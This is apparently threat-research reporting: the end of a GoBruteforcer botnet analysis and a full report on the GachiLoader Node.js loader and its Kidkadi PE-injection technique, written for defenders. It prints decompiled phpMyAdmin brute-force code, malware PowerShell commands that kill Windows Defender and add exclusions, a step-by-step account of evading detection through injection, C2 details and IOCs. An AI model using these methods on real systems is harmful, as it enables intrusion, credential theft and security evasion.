• Searches the page body for known PMA UI elements. In particular, it looks for either the “pmahomme” theme directory, or references to phpmyadmin.css, or navigation.php in the HTML. These are artifacts of phpMyAdmin’s login page (for example, PMA’s default theme is named "pmahomme", and navigation.php is a frame or script loaded post-login in older versions). If any of those markers are found, it sets a flag so that the page content “looks like” phpMyAdmin.

// Decompiled Go-pseudocode
    title := ExtractBetween(body, "<title>", "</title>")

    hasPHP   := strings.Contains(title, "phpMyAdmin")
    hasSetup := strings.Contains(title, "setup")

    themeOK := false
    if strings.Contains(body, "/pmahomme/") {
        themeOK = true
    } else if strings.Contains(body, "phpmyadmin.css") {
        themeOK = true
    } else if strings.Contains(body, "navigation.php") {
        themeOK = true
    }

    if !(hasPHP && !hasSetup && themeOK) {
        continue
    }

When a likely phpMyAdmin page is found, the malware next tries to determine the PMA version (or at least a major version hint) from the HTML. It searches the HTML for a string like "codemirror.css?v=X.Y.Z" and if found, parses out the version number that follows v=. This typically yields a numeric value (for example, “5.2.1”).

The bruteforce method depends on both the page content and this version.

• For versions < 4.9, it uses a GET-based login attempt method.
• For for newer versions, it uses a POST-based login method.

Bruteforce via HTTP GET (for older versions, <4.9)

If the bot chooses the GET method, it attempts to log in by sending the credentials as URL parameters. It appends ?lang=en&pma_username=<user>&pma_password=<pass> to the same login URL and issues a GET request for each credential. The code considers the login successful if the resulting page contains "Welcome to" or the <title> contains “phpMyAdmin 2/3/4/5” markers.

// Decompiled Go-pseudocode
    loginURL := "http://" + host + "/" + base +
        "/index.php?lang=en&pma_username=" + url.QueryEscape(user) + "&pma_password=" + url.QueryEscape(pass)

    req, err := CreateHTTPReqWithUA(c, "GET", loginURL, nil)

    resp, err := c.Do(req)
    b, _ := io.ReadAll(resp.Body)
    resp.Body.Close()

    page := string(b)
    title := ExtractBetween(page, "<title>", "</title>")

    ok := false
    if strings.Index(page, "Welcome to") >= 0 {
        ok = true
    } else if strings.Index(title, "phpMyAdmin 2") >= 0 ||
          strings.Index(title, "phpMyAdmin 3") >= 0 ||
          strings.Index(title, "phpMyAdmin 4") >= 0 ||
          strings.Index(title, "phpMyAdmin 5") >= 0 {
        ok = true
    }

    if ok {
        SendPst(1, host, user, pass, base)
        return true
    }

Brute-force via HTTP POST (for PMA ≥4.9)

If using the POST method (for newer versions), the malware must handle an HTML login form. The steps are:

1. Get CSRF token: First, it fetches the login page (if not already fetched) to retrieve a CSRF token. The bot parses the HTML for an <input name="token" value="<tokenval>" /> and stores the token value if present. (phpMyAdmin’s login form includes a hidden token in newer versions to prevent CSRF; the malware grabs it to include in the login POST.)
2. Submit credentials: The bot prepares an HTTP POST request to the same index.php?lang=en URL. It sets the form fields pma_username=<user>, pma_password=<pass>, server=1 (selecting the first server, in case PMA is managing multiple MySQL servers), and includes the token=<tokenval> if it obtained one. It sends this request with the appropriate Content-Type header and using the same User-Agent. The timeout for the HTTP client remains 3 seconds, so each POST is quick.
3. Check result: After each POST attempt, the malware reads the response body. It then uses the same criteria as the GET method to decide if the login succeeded: looking for “Welcome to” in the page or certain phpMyAdmin version strings in the title. If those are found, it deems the credential valid and sends a report with the IP, creds, and base path. It then stops further attempts.
4. If the credential was not successful, it continues with the next username:password, reusing the same token if the token doesn’t change. (The code grabs the token once per session; it does not fetch a new token for each attempt, which might be a weakness if the token expires or is invalidated after a login failure. However, many versions of PMA do not invalidate the token on wrong password, so this approach could still work.)

Scanning Performance

GoBruteforcer runs as a steady, architecture-tuned worker pool. The pool size is large enough to pipeline many attempts but capped to avoid runaway threads or saturating the host. In the wild, a single x86-64 host sustained roughly 20 IP/s during an FTP campaign, showing the scanner spends most cycles failing fast on silent hosts. That design keeps throughput high while keeping per-host bandwidth low: In observed FTP scans, outbound traffic remained under approximately 64 kb/s and inbound under approximately 32 kb/s.

Conclusion

GoBruteforcer exemplifies a broader and persistent problem: The combination of exposed infrastructure, weak credentials, and increasingly automated tools. While the botnet itself is technically straightforward, its operators benefit from the vast number of misconfigured services that remain online. As generative AI further lowers the barrier to server deployment, the risk of insecure defaults will likely increase. Addressing this class of threats requires not only detection and takedown efforts, but also renewed attention to secure configuration practices, credential hygiene, and continuous exposure management.

GoBruteforcer is a perfect example of how threat actors use “low hanging fruit” such as seemingly unsophisticated tactics (weak password attacks, random IP addresses) to compromise large numbers of internet-facing systems with relatively little effort. This reinforces the need for organizations to monitor and secure their internet-facing services and enforce robust authentication methods.

Protection

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.

IOCs

IOC	Description
190.14.37.10	C&C
93.113.25.114	C&C
fi.warmachine[.]su	C&C
xyz.yuzgebhmwu[.]ru	C&C
pool.breakfastidentity[.]ru	C&C
pandaspandas[.]pm	C&C
my.magicpandas[.]fun	C&C
7423b6424b26c7a32ae2388bc23bef386c30e9a6acad2b63966188cb49c283ad	IRC Bot x86
8fd41cb9d73cb68da89b67e9c28228886b8a4a5858c12d5bb1bffb3c4addca7c	IRC Bot x86
bd219811c81247ae0b6372662da28eab6135ece34716064facd501c45a3f4c0d	IRC Bot arm
b0c6fe570647fdedd72c920bb40621fdb0c55ed217955557ea7c27544186aeec	IRC Bot arm64
ab468da7e50e6e73b04b738f636da150d75007f140e468bf75bc95e8592468e5	Bruteforcer x86
4fbea12c44f56d5733494455a0426b25db9f8813992948c5fbb28f38c6367446	Bruteforcer x64
64e02ffb89ae0083f4414ef8a72e6367bf813701b95e3d316e3dfbdb415562c4	Bruteforcer arm
c7886535973fd9911f8979355eae5f5abef29a89039c179842385cc574dfa166	Bruteforcer arm64

The post Inside GoBruteforcer: AI-Generated Server Defaults, Weak Passwords, and Crypto-Focused Campaigns appeared first on Check Point Research.

Research by: Sven Rath (@eversinc33), Jaromír Hořejší (@JaromirHorejsi)

Key Points

• The YouTube Ghost Network is a malware distribution network that uses compromised accounts to promote malicious videos and spread malware, such as infostealers.
• One of the observed campaigns uses a new, heavily obfuscated loader malware written in Node.js, which we call GachiLoader.
• To make it easier to analyze obfuscated Node.js malware, Check Point Research developed an open-source Node.js tracer, which significantly reduces the effort needed to analyze this type of malware and extract configurations.
• One variant of GachiLoader deploys a second stage malware, Kidkadi, that implements a novel technique for Portable Executable (PE) injection. This technique loads a legitimate DLL and abuses Vectored Exception Handling to replace it on-the-fly with a malicious payload.

Introduction

In a previous publication, we examined the YouTube Ghost Network, a coordinated collection of compromised accounts that abuse the platform to promote malware. In our current research, we analyze one specific campaign of this network, which stood out as the deployed malware implements a previously undocumented PE injection method which abuses Vectored Exception Handling to load its malicious payload.

Campaign Overview

Similar to campaigns we previously documented, the infection chain begins with compromised accounts that host videos designed to lure viewers into downloading malware from an external file hosting platform. The theme of this campaign are game cheats and various cracked software:

The video’s descriptions then provide a password for the archive containing the malware, as well as instructions that usually include disabling Windows Defender.

We identified more than a hundred videos belonging to this campaign, which collected approximately 220.000 views. The videos were spread across 39 compromised accounts, with the first video uploaded on December 22, 2024. This means that this campaign has been running for more than 9 months. After we reported these videos to YouTube, most have been taken offline, although new videos will continue to appear on newly compromised accounts.

Since we started monitoring this specific campaign, it deployed the Rhadamanthys infostealer as a final payload, which is distributed through a custom loader which we call GachiLoader.

GachiLoader

GachiLoader is a heavily obfuscated Node.js JavaScript malware used to deploy additional payloads to an infected machine. Node.js is one of a long line of threat actors always adapt their arsenal using non-traditional programming languages and platforms adapted by threat actors in their quest to spread malware.

As obfuscated JavaScript requires a lot of time and effort to manually deobfuscate, we developed a tracer for Node.js scripts to dynamically analyze this type of malware, defeat common anti-analysis tricks and significantly reduce the manual analysis effort. This tool is not only useful for GachiLoader, but is useful for anyone analyzing heavily obfuscated Node.js malware. Therefore, we decided to share it with the research community here:

• https://github.com/CheckPointSW/Nodejs-Tracer

Some of the analyzed GachiLoader samples drop a second-stage loader, which we call Kidkadi. This loader is particularly interesting, as it implements a novel technique for PE injection, which tricks the Windows loader into loading a malicious PE from memory instead of a legitimate DLL. We analyzed this technique, which we call Vectored Overloading and reimplemented it in a Proof-of-Concept (PoC) shared below.

Technical Analysis

GachiLoader’s JavaScript module is bundled into a self-contained executable, using the nexe packer, with sizes roughly between 60 and 90 MB. nexe is an open-source project, that compiles a Node.js application into a single executable file, bundled with a Node.js runtime, so that the file can run on a host without Node.js installed. While the size of the executable is quite big, it isn’t suspicious as the victim expects to receive a software package. The tool nexe_unpacker can be used to extract the obfuscated JavaScript source code from the PE.

Anti-Analysis Features

To avoid analysis by a security researcher or an automated sandbox, the GachiLoader JavaScript module employs several anti-VM and anti-analysis checks:

• Checks if the total amount of RAM is at least 4GB
• Checks if at least 2 CPU cores are available
• Compares the username against a list of usernames, that can be associated with various sandboxes or analysis systems (see Appendix A for a list of all names).
• Checks the hostname against a similar list of hostnames (see Appendix B for a list of all hostnames).
• Probes the running programs and compares against a list of programs, such as analysis tools, sandbox indicators or common programs running on VMs (see Appendix C for a list of all process names).

The malware then proceeds to run several PowerShell commands to enumerate the system resources and capabilities over WMI .

• Check if at least one port connector object exists: (Get-WmiObject Win32_PortConnector).Count
• Get drive manufacturers and compare against a blacklist: Get-WmiObject Win32_DiskDrive | Select-Object -ExpandProperty Model (See Appendix D for a list of all drive manufacturers).
• Resolve video controllers via Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name, and check the names against a blacklist associated with VM environments (See Appendix E for a list of all video controller names).

If any of these checks indicate a virtual machine, sandbox or analysis environment the malware enters a loop of sending HTTP GET requests to benign websites such as linkedin.com, grok.com, whatsapp.com or twitter.com :

Finally, to avoid running multiple times in a short period of time, a mutex file with a random-per-sample name and the .lock extension is created in the %TEMP% directory on running for the first time. If this file already exists or was modified within the last 5 minutes, the program terminates.

We were able to easily bypass all of these anti-analysis with Node.js Tracer: the tool hooks into the respective methods and spoofs the results to the caller, in this case the malware, allowing the script to run and expose its malicious actions:

Privilege Elevation via UAC Prompt

If the malware decides that the environment is not that a sandbox, it then checks if it is running in an elevated context by running net session , a command that is expected to fail if run by a non-administrative user. If the command fails, the malware tries to restart itself in an elevated context using the following PowerShell command:

powershell -WindowStyle Hidden -Command "Start-Process cmd.exe -Verb RunAs -WindowStyle Hidden -ArgumentList '/c \"<path_to_program_itself>\"'"

While this triggers a UAC prompt, that prompt is likely to be accepted by the victim, as they expect to run an installer for some sort of software, which usually requires administrative privileges.

Defense Evasion

To avoid detections of subsequent payloads, the malware attempts to kill Windows Defender’s SecHealthUI.exe process by running taskkill /F /IM SecHealthUI.exe and adds Defender exclusions via Add-MpPreference -ExclusionPath for the following paths:

• C:\Users\
• C:\ProgramData\
• C:\Windows\
• For all other existing drives, at the root (e.g. D:\ )

In addition, an exclusion for *.sys files is added via Add-MpPreference -ExclusionExtension '.sys', although we have not observed any *.sys files being dropped by the analyzed samples.

Payload Delivery and Execution

To retrieve the next stage’s payload, the malware comes in two variants.

• One variant gets the payload from a remote URL
• The other variant drops another loader, kidkadi.node, which loads the final payload using the Vectored Overloading method. This payload is embedded in the loader’s JavaScript source.

First Variant – Remote Payload

GachiLoader first obtains information about the host it is running on, such as antivirus products and the OS version, and sends them via a POST request to the /log endpoint of its C2 (Command and Control) addresses. The samples all have multiple C2 addresses embedded for redundancy and try out each one in succession, as we saw when tracing the calls through our tracer:

Next, a GET request to the /richfamily/<key> endpoint (where <key> is a value unique to each sample) with the X-Secret: gachifamily header gets the URL of the final payload to download, encoded in Base64. This final payload can only be retrieved if using the correct X-Secret header again – this time using a unique key embedded in the binary, e.g. X-Secret: 5FZQY1gYj0UKw4ZC99d1oNYR8LvTPtrfN357Eh5gmRvsMaPYgXtMxRXpMb2bTFOb2h2HqMnvUKT9CUpj9864gckmPUzf9uLIIU9. Otherwise, the web server returns a Forbidden error.

The final payload is then downloaded to the %TEMP% directory and saved with a random name, mimicking legitimate software such as KeePass.exe, GoogleDrive.exe , UnrealEngine.exe or others which contain the Rhadamanthys infostealer, packed and protected with VMProtect or Themida.

Second Variant – Kidkadi

The second variant we observed in the wild did not reach out to a C2 server to get the second payload, but instead had an embedded payload which is executed through another loader that is dropped to disk under %TEMP% as kidkadi.node:

.node files are native addons for Node.js, which are essentially just DLLs that can be called from Node.js code via dlopen. Therefore, they can be used by developers whenever the Node-API does not expose sufficient functionality.

The malware exposes a function for Node.js to call, where the name of the method differs across samples. In some cases, the name as well as the error messages in some samples are of Russian origin:

The loader passes the payload PE as a binary buffer to Kidkadi through this exposed function, which then runs this payload via reflective PE loading. We found that this loader uses a novel spin on Module Overloading, abusing Vectored Exception Handlers (VEHs) to trick the Windows operating system to run the final payload, when invoking LoadLibrary to load an arbitrary DLL. This technique, not yet documented, shows that the author has a decent understanding of Windows internals. We named this method Vectored Overloading.

PE Loading via Vectored Overloading

The malware first creates a new section with SEC_IMAGE from the legitimate wmp.dll, a DLL used by Windows Media Player. It then overwrites this section with the content of the payload (the PE to be loaded) and maps a view of that section into the process via NtMapViewOfSection. The PE’s sections are then copied into memory one by one and relocations as well as the correct protections are applied:

This results in a view of the malicious PE, mapped to the process, which is backed by the legitimate DLL wmp.dll. This section view is what the Windows loader (meaning ntdll!Ldr*) will be tricked into loading later on.

Since the Windows loader, called via LoadLibrary, does not load arbitrary PEs, but only those that have DLL characteristics, the Characteristics of the FileHeader are set to IMAGE_FILE_DLL , if the payload is not a DLL. Additionally, the entry point is zeroed out, likely to avoid the loader calling an entry point that is not that of a DLL. If the payload is a DLL, the header is not changed.

Afterwards, the malware registers a Vectored Exception Handler (VEH).

VEHs are user-mode callbacks that are invoked by the OS when an exception occurs. A common malware technique abusing VEHs is to register a hardware breakpoint on a specific instruction, which triggers an exception whenever this instruction is reached. This exception is then handled by the VEH, which can intercept the call and, for example, change the parameters. This essentially allows hooking functions without patching memory, such as when using classic trampoline hooks.

In this case, the hardware breakpoint (HWBP) is set on NtOpenSection :

The malware then loads amsi.dll via LoadLibrary , which kicks off the injection:

A call to LoadLibrary internally ends up in the Windows loader creating a section object of the target DLL to load, which is opened through a call to NtOpenSection . This triggers the hardware breakpoint, and subsequently the VEH, which were registered earlier. This is where the main injection logic is implemented.

To make the loader map the malicious PE instead of the actual amsi.dll section, the section object pointing to amsi.dll is swapped with the malicious payload section from earlier. The VEH simply places the section handle created earlier on the stack position that corresponds to the [out] PHANDLE SectionHandle argument of NtOpenSection. The VEH then advances the instruction pointer eip to the ret instruction and resumes execution. This skips the actual call to the kernel while still giving back a valid handle, essentially emulatingNtOpenSection:

Before stepping out of the VEH, the hardware breakpoint is re-set to NtMapViewOfSection.

NtMapViewOfSection is then used by the Windows loader to map the section into the process, which again triggers the hardware breakpoint. To make sure the malicious payload is mapped, the syscall is again emulated by advancing the instruction pointer and replacing the [out] arguments with the relevant values, such as the section base address or the section size. This is possible, because the section view was mapped by the malware earlier, when the malicious payload was written into the view of wmp.dll:

A final hardware breakpoint is then set on NtClose , where the malware simply verifies that the correct section handle is closed.

Back in the regular flow of the program, outside the VEH, the entry point will be invoked if the payload is a regular PE. If it is a DLL, the loader expects it to be another .node module and resolves the correct exports to invoke:

Completely unrelated to this campaign, we found a file with an original filename of HookPE.exe, which is a 64-bit PoC version of the technique with debug prints that uses the technique to load calc.exe into memory. Error strings in this binary indicate that the loader uses code from libpeconv for PE manipulation.

This injection technique has multiple advantages over “classic” RunPE-style reflective loading:

• Just like when using the Module Overloading technique, the injected DLL will show up as backed by a legitimate image (such as wmp.dll), since the section was originally created for this DLL. However, since the code in memory will differ from the code on disk, tools such as Moneta are able to detect it:

• Some loader work is offloaded to the Windows loader. This significantly reduces complexity for the malware author as they do not have to implement e.g. resolving imports or TLS callbacks, which in turn increases payload compatibility. For example, many publicly available PE loaders do not properly handle TLS callbacks.
• By emulating syscalls, the respective kernel side callbacks such as ETWti are not invoked, as the call to the kernel is skipped entirely. This may fool security solutions that rely only on these section ETWti events. Of course, the earlier calls before the injection (when mapping the image) still trigger those events, but not in the order usually expected.

We published a reimplementation of the 64bit variant of this injection method as a tool for security researchers to analyze the technique and test detections:

• https://github.com/CheckPointSW/VectoredOverloading

Dynamic Config Extraction at Scale

As deobfuscation of the JavaScript source is a tedious and partially manual process, we decided to run all available samples of GachiLoader through Node.js Tracer to bypass the anti-analysis checks and receive the final payloads. By hooking filesystem-related Node APIs, the downloaded files are saved for the analyst before they can be deleted by the malware trying to remove its traces.

The final payloads of both variants of GachiLoader were all packed and protected by Themida or VMProtect. Dumping the unprotected configuration from memory when running them in an automated sandbox then allowed us to extract the C2 servers of the final payloads.

All the analyzed samples that were part of this campaign dropped Rhadamanthys as the final malware. The extracted C2 servers can be found in the IoC section below.

Conclusion

Malware written for the Node.js platform has become increasingly common and is mostly found in obfuscated form, which is tedious to statically deobfuscate and analyze. By enabling analysts to trace and hook Node-API execution dynamically with our open source Node.js Tracer, the time that has to be spent on triage and analysis is significantly reduced, and common anti-analysis checks can easily be defeated.

The threat actor behind GachiLoader demonstrated proficiency with Windows internals, coming up with a new variation of a known technique. This highlights the need for security researchers to stay up-to-date with malware techniques such as PE injections and to proactively look for new ways in which malware authors try to evade detections.

The threat actors behind the YouTube Ghost Network exploit the trust in the YouTube platform to trick victims into downloading malware. Users should be particularly cautious of offers for cracked software, cracks, trainers, or cheats, as these files are frequently laced with malware designed to steal data and/or compromise a device. While both the security community and YouTube actively work to identify and remove such content, these attacks remain persistent.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, filetypes, and operating systems, and protect against the attacks and threats described in this report.

Indicators of Compromise

Description	Value
.zip Archives	062d342f59136c3bbc729e0c412d2c2589b6f9058912583eeb9b61d7916db00e34e1cd959c0c586fcd495225803061e6e2a19e7818c47a46a47822ba6726500d434fc84cc190bb0c8af86d3566d6517672fed9c171eb0df5c7541f0dce679c8b606eca698d0d4a67b21428b0812a261daab36598fded60b189106b0b27992225775b05b8cc8d03751828986727cd1929caf6868e1df9cd21e9366c48ce161c5e872fde8128f3a0f074975b6ca0d83fa56a8289b2063351f298bbf0c9025948d399f4755fd9b25aadae4e154d661ccceecbbb3d4343dc6c81e04aa81516be81d0a4e2c0ffb93103db23777c12b48a31816b83b0799c9bc71e92bb576e884d76d4b48f3e7e6c67bfb3c73c85a33a377f9bb840e1b7b09871ab29a19cdb7965d5d1c4266da90d6c655388ae8d64aebf5f9178adbbe486b2249e6bb7d18451f28a3bcc95609cc375263129b8f425800a9bb462055b11dbf0d8aef2b3312aa2e90daff0de35ff0b889c7e93a89e918488a33aa21e4b6e7743ae87f1993ea77b237ecf
Variant 1 – GachiLoader	00bcfecad4b679f72c50cbdcd883caf55b6a1f641258a636317871c7b894015600db4aa911e95ecfafa6f10ebfeb9f0a8051ee63de51ea1d9515ece5be2a294b01a3da42f74578c0b7c1146f30eceb2a2bc26c2d814a48fcf29ae527a1048aff028711c1b435c773ba600a863f4d4a2d1218860de799a1275d15d4ea93f0cbef02c0de5116d9b05d930e4858cd9768cc2ba70e91be62690439537fdf0f52de53032a297bfbdc94226f0d88c77ab27148c54ebde6bfa2750fed09b1d8667ddcd603d55245ef2766943813c0d1eaa3859d3918ee6fed2705bb5eeb38f4f87a5643079a180eeed0f4fc84c2412ba0398a79c5262efa1d9e8fd53290cd001b5abf9f094240cd298de1121da36adb96b3cdd632f866837f27e3951b6a0a544e5437f60a6d41411ef3c65540a525dc5c3ab0964cd595aa73c3a477a8a96ec9862776600bd44592e75854a1c763384bf9dcea6dfe1174f6f45df342ebd9dfaa3a27dc850c03845b9e2ff5ddac56f6e75b8e9dadf1a7bd1681d074e732478596b31739220f81656ce724b65c230c4d63259c3a0edff20cc664de964f16451417eda6000514bfaf75b5c7ffac451f41352f8e94b6cc060efe7d645189795fa921f4e602bc16b2f7d9d4ace9e3004bd47f97c252a7fea21662656ec6b906d30a6b21900fc418649874ab887ab613a3ccdd7cddc683e2b21f7cbe0762d2ce8201fc7e57540c1d28c23b271eb2156bf2780cb0dd042573f38f4758ef61877a7347bbbc756c8b1ebeca5dc62d759904c47597ebeb67865017a99892081c94d7647206b78a6cd21f35a5ee4ead5c286f3e0d3ddecaf8789f12da7b8b7422b0511af619353284b72038f38ccd42cd1df84abfb5915e3a6eb9c976b8d822768068343716f46a09f1210d821109ec1dff3b92ad3cfdde59912581327f4017b754864ba1e263c3c3662601d2c2b4515d3f1414d4543cfe2091490e2502457eab6c437a310f7e5e2a1a266216b097561e57448b940c3087b82c4cea7581b67e5dcc52c8c4dfcbbf8333278c5a0acd6603947e59e1961642279e29cc4b9be299c8edb7b719d6568eb8da29fac0ce48b9114990a4dd942d6de1da55bf9c49938929123fb1f221be385eff2a87f4d47ad95f4eb46c08a4d33fd4732c10a1408db1b758871dfe6b1059c6bb2e5389a32a6c21fec476fdc6e80fcb577de31c43adb7c090c3a11f3b048787ed2fee47e12ca72863ee132d63dcac3b39aeace1a4d71b0aa14a30b56ecabf29c930bcfa6bbb5e9d9bc64c65a27e1565a9ad21af3d5e1f202933a340cc400abdb93124fe59b26dc77c1e4b4d615112928ca1830c890c8c77e853ac6948069ba4633151700d8f13cf55ad46148cd46ccb0b3409c0adf253433f16ef6612e9280eb231dac5bc21b0dabfac51cb99c821e62421c39949971a44898a1ec15efe33e8c432855dba1ec6b3c9ba422cf9203d8130e59dcb5235764b8f56b6d02970a5e5b533dce93dfdb43f47ef1d36e2dd16725ed365300c371dc45491b52afe13b6e4123630538febdedf693ca9d996c3f1998d50c97052ab99e653d95b381ddb3546ef38a7feb5ab611e6a487ce8b048732f7721484ceebb316fd34c9cc611dbc4e3cc38ac7917ce895448203e6d14f121850ecc4ff89f530e792c794d771f881c7b073c16548ab32996a58298978b20db1d4133827298e166f93b7c943dc3ffc517823d8c1469de3bb01ef72992e07d1feea9380183983327576978851b8c78ea7fc93ed63941e7411e93f644a064094b5a6c7e2a9547840a5198dd7f6b4d45ef9eea401e7b72f4b7ed4119b625ab34c2c7d37c0dabc08bbdf943fd291445e2fe753c40f899294ea02f7a9823ada63c869ede18a8afc6238aedb62d2b30a2744cb8464210e9e1df0bc41e497285483782609c0b4777ef6682fb40b0d25c8149c9f3d2428f86204b69f31dfc3f3479d18d23b15cad63d72998a8418e8da22941c7495643b1a11962f83db6bb59bb7467d5456e852d0421ca5eaeae3a249a34839e67b443d9130c8f077a5885842bda24bee19e4dd231c49f88629442e5b9f02ff5f33a45fd42669157357f1e16c0b542eab5836061f5b2e2160a5104a4bde38cac85bf47ab9b9deaa14202b94320df16f52c8d98adee49c9bff8909ab5deefcbdfe40148a269d2c083868e2b5347012afb85bb3c233c9f042985bcab764f77883166604b71d8cb7ce8de8d557283df3543aa2aed89dd5446c7acf855c0ea2e5e7e89dd4be48937c603c910c29de2af3b0d3e3bc05b809b19190e90ade2489a347d8b034ed90af2fb3fe13eb8ab69fe2fcd82a0775426da33da4ba043d7e7e2fd4a18f74f8c55cb3f99741f4fcccdbcff07c7d0b8ab7fa23dcbf8847d7a37a35f6d3f5e4f95af5b4a1569eb54f6995e547584f429a49895d0d81c71d74970275b170a085173c6b57642dd89dba2f039a1ad630d6d73d3557248dd09ca2a51a329e6119e53ac3b1601f2fa43121cfd43ac9b49f6751a8b84b4ffcc5a1241f71eb1e8d7b85538d6f24e1330c934cdfc95188aede5c9668154376e507c41fe1c752cdd7a5b561436df09f87be34317eeb25a2b7bf5c67201fa501262f72a9a63b9977ae21759c93f81063e8b77b20292d1d03598f74d997690aac41f5fb7a248ac8ad866c25c88a6efd0a713460dcf8b828575285be3a43d6481e245662bafb3472d344dd15d1bf72af319901f22d78625d60c877d7a8d6c54bbbcbcfc643376558e1762115dbdd6d45021383a3c76b2e0c7258a7b0fcfd70904602eb2fb1afe3b33efc80e60de97fff85ba6f0b114fe565f53ffc1ef43a19de95c31299884e034f05dc037616b74a6b17b70bae357c43cf03fe1946abc36eea1d0e7d911ca29bd067f63ae61e215ccf73cba014ecd72abd38ff78d5a23c2727577c5b3e2c8f52b90dc2a4a62bab101900a92db76e2c368c4a83f7340f42c460b16d11dea94c8db002d5bc962bcb939df4a8b7bdc896cd229cf34f55d93555c14e5816ac2aa6285d1cf41126463e7f48f01f482fa846bc106de245c833ad7c3ea7fae4caa7ead54b2901cb964d6d018e3b7a1d718b96d9950b3579af2a784ab004ad575e13cb41b2c27aa2566e684ab10b1daf2a46df1031c6ddc331ab80af4e21144a68997d4a1859e9fd76985717a754fe121e99c337cc33b0e9a25852fa33c580dc9caaffefaf090823369c0084b78bf963997033759fa45933b61de425aea7612a06289ec6c784927456a8dd64af57926514131efdc388c9883db2c23aebfd8b97c44e808d637f0fc236b80c4fa88fbb35af2b254c63586fd6e0455d0e917b842afc79b821ac87a2b9d6c428016506c2ae076d049deeba60514cb8c0afa6fd00fc349722cdbc6e1b3056d5af67f05c9db6763cd494f64c5f62faeb8f1b67ba26a7ab278e27d4c9b8f226f1b97838bc5702954ef5f536de86a8477e0008f25bcfba72b7fda4c1f37b9d26fcd071c6ab51e71407e8bf242fac8552a10aedff113c9efb92ccc53cc49fbed7029d2c60ee04772d9dc4d8d34f5effd3e3be17769584bbf912954e92628013171415238f740c7528f3314f94dc07ffd9b802a34c3997b09ad02da1bcd3c8137717f05b96a344b1fdd159b4c45e3089a26d1f64e63cd4ac2ed3bf2db33074c3a765041cdf97bf0b55734cd5619d7d4568a641ae3fc35540344a488184839674b78908b01a8d959b80f7fa1f42c734c4c64a8cec58394f94cf362b8efd38c7b9c78b6c96910d8f1e3889bad17f97cd26aed5f6c7a15432cc11c2224a8c9adf6917a155a20c1e5df83b566fdad3bf59ca49ac6559e0561233a95c7cd70a5caa6dc7db2025192f4f2497bdc356c1920dfc4740bb868de8a6b5786f01865dfa9e564825bd0b103d647c296bd2b9eee251b04b7f5dc72f27898fcf0fc25ca245871258295cddaf1c23d554b90e4d1ee1ca064f68124df63003a046f58241c3513cd1e8383a421e9a4f55af53cf1911680042659b28722cff8a30cd202bc728a8fea238443994a687269f2d7d19678e571ce1a1658df7da69c25b4bd902f87f849c98d857f68127546f829861e796b11b80304e2c53e70e54191fec8087f64d7c8146d86082a735440124bae953c0a68e5eff6a7fe6792f90ea1e71cc0c83a724bc27387c1c62369657904418affebca3f706a4e968dd1a672729274ba287dfae43be488938ad37225074c923ac4baa0b4a171076c273cb064a4905c66a25ca3acfee08d473631c12231079a241d63ddc9e4b537d2531135e9aa4d795abf22f2aefd398db4cf8f666b7c4ec5051139570b5d3b88569c9e62de31249a70b6cdc716aecd9211d6fb5db70a51ba5795e0a7126aa1efd0f4b78262031dfb72e98c319ce37e95760397b9cc05d0180258afee22cd8e6bc997e13754a11cb737733d0beeb44495f875c01b889f9ba811dae11822c6c83eb28d8260f16ca070c76e83f6f7e7cb96d2c11dd5bb43da5945259494d7e26a68b5c48eaa32d5eb2d1dc61aa0dfb7fe980d0d78b3e288f24bcb793d2e49a4e26138cfe4ef272171557658be751d277d99a3a973caf956102c563773a9a58ff79c539c7c77480873dd0e09fa259b359499cc25edbc65ea201b957abbd6cfbd7b3b6f04759cbb47fc999d35508a6547489a0ccafc516df1e931ba2028ea59f39b31e1cc812c3a2ab1765b9e91fb8cc5079a28d80ce2c191d743554313edbb8eef09e6f72b34c4d701c0a84090d61264e99b60930efa096a98d9fb6392c74f8d3e5f2df6ba8a5b31a304b7fac3d847e7f19c562c28323e7681c1cb5a4b23e703c21cda8bc020946de691b6765fcb613a16a9ec251b719b2ebb85e50f43eea4e2944e0a065daaf5c92420efc852b594d96fad27bfdd9d51f81e6e743ed351c47812874565e89f6ace03ac39d6c85fefa949af0891bff41d67815ed7a979fc2127295ea662079afa16d09d1a377684d678bab1b72689afa038d413e36f5aca61b971b69e4e411976cbd01e3cbf5b2e83141eb67ac42c0ef7402dd53dc950e8162e9a213aa65d5a7901a5cc4aee0b93058b93b6a3ad06c57b45142dd7ac2c77ea70980296b5d168517f5d7ec4100ec10d305ab8eaa5c0686fb49f6f3e4edd5716df48581001249d5e62563f2468db73526ccebd378786d84743beb0adc8d3dd14ff3d7996caaf6a1eb8783c665091ee9ae225bd7df13098f3984a18c4a21282ba04ed802bb73c1f91c7eb5a35b89544c545cbbfd049ef7d1384a25c3edaf857b94539525b5f442dbe543fafa2356315780d8dc164232a5a3a2b49705257e62c5f8e004df68e3cf32d7702e4af879abd55008bc1a6587fb04a94943ab616cf0ce8b3d0c55e59ffbd4bc9b3a1add955391210aec1fb323ed08adca20912906e8756e6f8a805cd1d08cf20226f37cb51f33117ebc4cd91a5ce722f3c510151513501e9aab54ad535b934132e6e6f6c9c76be2e9ec50c73ef1be87b84055ee73bda503ad20884fcf67b207fa918190f40f4353729c5e9eaaa5dc6ec4780c319c26a4f552f7030438dcfb008ccfd52358512dc3f81c605642e0edac4b63e9819648f79d54d5f47cac240480fad808cbfb61f31c88ac67bad311a48bb86a865b08ad2ef175a17e46063ef3c5de734fb3c4a5ea07578ca0c525bf22b499b2f374d41f7e07a60ed9181645af485b0183c65eea68d364dca1465224a206c9323a4a3215afa402ce7f592ddf17db5d477d2a5905e982d56cd6c1ebc720ba509967f9e508657ad02d8fafee1d958af0174bfd0d192291d0ad2c3f54b03d50271dad1eba0abf1cad6529d67b74015e530f716bd18f943c6b5d52894f027b8ce185efa3f584024b8a9a7f6694f6e294aba8ddac9789d00468fd56afbac1b7eebdb1aa03744cb45a260975de75a08e7f4d9a89ccb57656d9b65d5e05fa6ddbaf68f6b08e188d444b664a08a69a6102df37c4c3c3cbc7ebfd326d5e530f607260ee2ce19ef3f6ac277b202cd15fc947b0c02ba9060421f799bc3d64d4ede406cc439617a2f17e31a3d9c1adb81d35cbb97de1a7e0145b03a08cdd666dcf48f569d6ba9defd87e149408373c0ac237a017624fd51aacfcfeb89d0d66fb9cc2c40311df8af5aee664303f5226338cd0f2046cb2f8d8d42bda6f9b9d737d53d2fb7a233b9732bfcd9c99ac8ef9846ad65af07cae490c8f